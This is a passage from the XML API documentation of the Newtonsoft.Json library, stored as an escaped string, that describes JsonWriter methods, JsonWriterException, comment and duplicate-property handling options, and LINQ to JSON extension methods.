</member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTimeOffset})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of 